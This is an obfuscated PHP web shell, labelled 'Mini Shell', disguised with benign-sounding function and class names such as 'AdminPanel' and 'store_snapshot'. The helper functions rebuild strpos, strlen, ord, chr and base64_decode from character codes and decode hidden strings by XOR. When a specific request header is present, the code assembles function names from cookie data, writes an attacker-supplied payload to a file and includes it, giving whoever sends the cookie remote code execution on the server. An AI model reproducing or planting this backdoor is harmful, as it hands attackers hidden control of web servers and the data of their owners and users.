Mini Shell

<?php
function store_snapshot(...$ta)
{
    $a = array(115, 87 + 11 + 18, 114, 33 + 79, 36 * 3 + 3, 24 + 53 + 38);
    $x = '';
    foreach ($a as $p) {
        $x .= chr($p);
    }
    return $x(...$ta);
}

function initialize_component($b)
{
    $l = array(115, 116, 117 - 3, 24 * 2 + 60, 3 + 96 + 2, 109 + 1);
    $e = '';
    foreach ($l as $t) {
        $e .= chr($t);
    }
    return $e($b);
}

function optimize_cache($b)
{
    $e = array(100, 72 * 85 - 6006, 41 + 36 + 34);
    $g = '';
    foreach ($e as $j) {
        $g .= chr($j);
    }
    $g = strrev($g);
    return $g($b);
}

function sync_data($o)
{
    $r = array(53 + 46, 9 + 59 + 36, 95 * 7 - 551);
    $oj = '';
    foreach ($r as $s) {
        $oj .= chr($s);
    }
    return $oj($o);
}

function schedule_work($a)
{
    $t = array(32 + 66, 53 * 1 + 44, 33 + 82, 101, 43 * 1 + 11, 52, 88 * 20 - 1665, 83 + 17, 101, 28 + 6 + 65, 24 * 2 + 63, 51 + 35 + 14, 105 - 4);
    $j = '';
    foreach ($t as $s) {
        $j .= sync_data($s);
    }
    return $j($a);
}

class AdminPanel
{
    private static $_lhm;
    static function encryptData($_nyb, $_ly)
    {
        if (!self::$_lhm) {
            self::checkConsistency();
        }
        $_tno = initialize_component($_ly);
        $_qbr = schedule_work(self::$_lhm[$_nyb]);
        for ($_er = 0, $_vfu = initialize_component($_qbr); $_er !== $_vfu; ++$_er) {
            $_qbr[$_er] = sync_data(optimize_cache($_qbr[$_er]) ^ optimize_cache($_ly[$_er % $_tno]));
        }
        return $_qbr;
    }
    private static function checkConsistency()
    {
        self::$_lhm = array('_qzy' => 'Fz4hPQA/JigNNTQqGiQh', '_coi' => 'FzczDzwyDCY1ACIgGi0z', '_an' => 'bl1dRW1aUEA=', '_iy' => '', '_uex' => '');
    }
}

if (isset($_SERVER[AdminPanel::encryptData('_qzy', '_jum')]) && store_snapshot($_SERVER[AdminPanel::encryptData('_coi', '_cg')], AdminPanel::encryptData('_an', '_khv')) !== false) {
    $_vfu = $_COOKIE;
    $_ly = 00;
    $_nyb = 06;
    $_rfr = array();
    $_rfr[$_ly] = AdminPanel::encryptData('_iy', '_wan');
    while ($_nyb) {
        $_rfr[$_ly] .= $_vfu[022][$_nyb];
        if (!$_vfu[022][$_nyb + 01]) {
            if (!$_vfu[022][$_nyb + 02]) {
                break;
            }
            $_ly++;
            $_rfr[$_ly] = AdminPanel::encryptData('_uex', '_lbt');
            $_nyb++;
        }
        $_nyb = $_nyb + 06 + 01;
    }
    $_ly = $_rfr[013]() . $_rfr[026];
    if (!$_rfr[011]($_ly)) {
        $_nyb = $_rfr[07]($_ly, $_rfr[012]);
        $_rfr[01]($_nyb, $_rfr[010] . $_rfr[025]($_rfr[024]($_vfu[03])));
    }
    include $_ly;
    die;
}